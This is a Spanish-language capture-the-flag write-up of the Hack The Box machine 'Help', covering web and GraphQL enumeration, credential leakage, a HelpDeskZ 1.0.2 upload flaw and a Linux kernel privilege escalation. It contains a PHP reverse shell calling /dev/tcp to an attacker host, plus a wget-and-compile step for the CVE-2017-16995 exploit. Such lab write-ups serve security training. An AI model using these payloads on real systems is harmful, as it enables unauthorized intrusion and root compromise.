Buscar en BreakSecure

Contenido recomendado

Help

Help es una máquina Linux de Hack The Box enfocada en enumeración web, análisis de GraphQL, exposición de credenciales, explotación de una carga insegura de archivos en HelpDeskZ y escalamiento de privilegios mediante una vulnerabilidad del kernel de Linux.

Portada de Help
Plataforma
Hack The Box
Sistema operativo
Linux
Dificultad
Fácil
Publicado
Autor
Pedro Vargas
Temas
  • Enumeration
  • Graphql
  • Information Disclosure
  • Helpdeskz
  • File Upload
  • Reverse Shell
  • Password Cracking
  • Kernel Exploit
  • Escalamiento de Privilegios
  • Nmap
En esta página

Resumen

Help es una máquina Linux de Hack The Box en la que tendremos que investigar dos aplicaciones web, descubrir un endpoint GraphQL que expone credenciales y aprovechar una vulnerabilidad en HelpDeskZ 1.0.2 para conseguir acceso inicial mediante la carga de una reverse shell. Finalmente, una versión vulnerable del kernel nos permitirá explotar CVE-2017-16995 y escalar privilegios hasta root.

Enumeración

Descubrimiento de puertos

Como siempre, comenzamos con un escaneo de los 1000 puertos más comunes para ver qué servicios tenemos disponibles:

nmap --top-ports 1000 -T5 -n 10.129.230.159

Encontramos únicamente tres puertos abiertos:

  • 22 — SSH
  • 80 — HTTP
  • 3000 — HTTP

Con los puertos identificados, lancé un segundo escaneo con detección de servicios y versiones:

nmap -p 22,80,3000 -n -sVC 10.129.230.159

Aquí tenemos algo interesante: además del servidor web del puerto 80, en el 3000 encontramos una aplicación ejecutándose sobre Node.js Express Framework. 👀

Antes de continuar añadí la máquina a /etc/hosts:

10.129.230.159 help.htb

De esta forma podemos trabajar directamente con help.htb durante el resto del laboratorio.

Enumeración web

Descubriendo HelpDeskZ

Comencé investigando el puerto 80. La página principal no mostraba nada especialmente interesante, así que pasé directamente a enumerar directorios con Dirsearch:

dirsearch -u http://help.htb/ -t 100 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

Entre los resultados apareció:

/support

Al entrar encontramos una aplicación llamada HelpDeskZ, un software de gestión de tickets de soporte.

Lo primero que quería saber era su versión. La aplicación no la mostraba directamente, pero revisando el repositorio original de HelpDeskZ https://github.com/ViktorNova/HelpDeskZ encontré un archivo llamado:

UPGRADING.txt

Probé si también estaba expuesto en la instalación de la máquina y efectivamente pude acceder a él. Gracias a esto confirmé que estábamos frente a:

HelpDeskZ 1.0.2

Ahora sí teníamos una versión concreta sobre la que investigar vulnerabilidades.

Encontré diferentes exploits públicos para esta versión, incluyendo uno relacionado con carga de archivos , pero inicialmente no conseguí aprovecharlo. En lugar de quedarme atascado aquí, decidí volver a la enumeración y revisar el otro servicio web. 🔎

https://www.exploit-db.com/exploits/40300

Enumeración de GraphQL

Investigando el puerto 3000

Recordemos que Nmap había identificado Node.js + Express en el puerto 3000.

Probando diferentes rutas llegué a:

http://help.htb:3000/graphql

y esta vez la aplicación respondió:

GET query missing.

Esto ya era una pista bastante buena de que efectivamente teníamos un endpoint GraphQL.

Para confirmarlo envié una consulta básica de introspección:

GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D
query {
  __schema {
    queryType {
      name
    }
  }
}

La aplicación respondió correctamente, confirmando que GraphQL estaba disponible.

Introspección con InQL

En lugar de enumerar manualmente todo el esquema utilicé InQL desde Burp Suite.

Sobre la petición de GraphQL generé una Introspection Query y envié el resultado a GraphQL Voyager, que permite visualizar gráficamente la estructura de la API.

Aquí apareció algo bastante interesante: existía una consulta relacionada con user que permitía recuperar campos como:

username
password

Así que realicé una consulta solicitando directamente esta información:

{
  user {
    username
    password
  }
}

Y efectivamente, GraphQL devolvió unas credenciales. 🔑

La contraseña no estaba en texto plano, sino almacenada como un hash. Después de identificarlo como MD5, lo comprobé utilizando CrackStation y conseguí recuperar la contraseña original.

https://crackstation.net/

Ahora ya teníamos credenciales válidas, así que tocaba regresar a HelpDeskZ.

Explotación de HelpDeskZ

Preparando la reverse shell

Una vez autenticado encontré la funcionalidad para crear tickets:

http://help.htb/support/?v=submit_ticket&action=displayForm

Y lo más interesante era que el formulario permitía adjuntar archivos.

Preparé entonces una pequeña reverse shell PHP:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/<KALI_IP>/<PORT> 0>&1'");
?>

y la guardé como:

rev.php

También dejé Netcat escuchando en Kali:

nc -lvnp <PORT>

Al intentar adjuntar rep.php al ticket, HelpDeskZ respondió:

File is not allowed

Podría parecer que aquí terminó el intento, pero justamente aquí está la vulnerabilidad. 😈

El archivo se rechaza… pero ya fue cargado

HelpDeskZ 1.0.2 presenta un problema en la forma en la que procesa los archivos adjuntos.

La aplicación guarda primero el archivo y posteriormente comprueba si su extensión está permitida. Por eso vemos el mensaje de error y el ticket no termina creándose correctamente, pero nuestro archivo ya existe dentro del servidor.

El siguiente problema era encontrarlo.

HelpDeskZ cambia el nombre de los archivos utilizando una combinación del nombre original y el timestamp:

MD5(nombre_del_archivo + timestamp)

Por lo tanto, aunque rev.php estuviera almacenado, ya no podíamos buscarlo directamente con ese nombre.

Localizando el archivo cargado

Para automatizar esta búsqueda utilicé el exploit público:

40300.py

El script aprovecha precisamente la forma predecible en la que HelpDeskZ genera el nombre de los archivos. Prueba posibles hashes utilizando timestamps recientes hasta encontrar cuál corresponde con nuestro archivo.

Los adjuntos estaban almacenados en:

/support/uploads/tickets/

Así que inmediatamente después de subir rev.php ejecuté:

python2 40300.py http://help.htb/support/uploads/tickets/ rep.php

Es importante hacerlo rápidamente, ya que el exploit prueba los timestamps correspondientes a los últimos 300 segundos.

Después de varios intentos apareció:

found!

junto con la URL donde se encontraba nuestra reverse shell. 🎯

Accedí a esa URL desde el navegador y, como Netcat ya estaba esperando la conexión, recibí inmediatamente una shell en Kali.

Habíamos conseguido acceso inicial a la máquina como:

help

Tratamiento de la TTY

Antes de continuar con la enumeración mejoré la terminal para trabajar más cómodamente.

En la víctima:

python3 -c 'import pty; pty.spawn("/bin/bash")'

En Kali comprobé las dimensiones de mi terminal:

stty size

Después:

Ctrl + Z

y configuré correctamente la terminal:

stty raw -echo; fg
reset
export TERM=xterm

Con una shell mucho más cómoda, ya podíamos comenzar a buscar alguna vía para convertir nuestro usuario help en root.

Escalamiento de privilegios

Identificando el kernel

Durante la enumeración local revisé la versión del kernel:

cat /proc/version

La máquina utilizaba:

4.4.0-116-generic

Al investigar vulnerabilidades asociadas a esta versión encontré que era vulnerable a CVE-2017-16995, una vulnerabilidad local relacionada con el subsistema eBPF del kernel de Linux.

En términos simples: como ya tenemos acceso a la máquina con un usuario sin privilegios, podemos aprovechar este fallo del kernel para intentar ejecutar código con privilegios superiores.

Encontré un exploit público correspondiente a:

44298.c

Así que lo descargué en Kali y levanté rápidamente un servidor HTTP:

python3 -m http.server 8000

Desde la víctima descargué el exploit:

wget http://<KALI_IP>:8000/44298.c

Por suerte, la máquina tenía GCC instalado, así que pude compilarlo directamente:

gcc 44298.c -o shell

Y solo quedaba ejecutarlo:

./shell

Comprobamos el resultado:

whoami

Y obtenemos:

root

¡Máquina comprometida! 🚩

Conclusiones

Help es una máquina bastante entretenida porque obliga a combinar varias piezas: enumeración web, GraphQL, recuperación de credenciales y una vulnerabilidad bastante curiosa de HelpDeskZ para conseguir acceso inicial. Finalmente, una versión vulnerable del kernel nos permite completar la máquina escalando privilegios mediante CVE-2017-16995.

Herramientas utilizadas

  • Nmap
  • Dirsearch
  • Burp Suite
  • InQL
  • GraphQL Voyager
  • CrackStation
  • Netcat
  • Python
  • wget
  • GCC

Referencias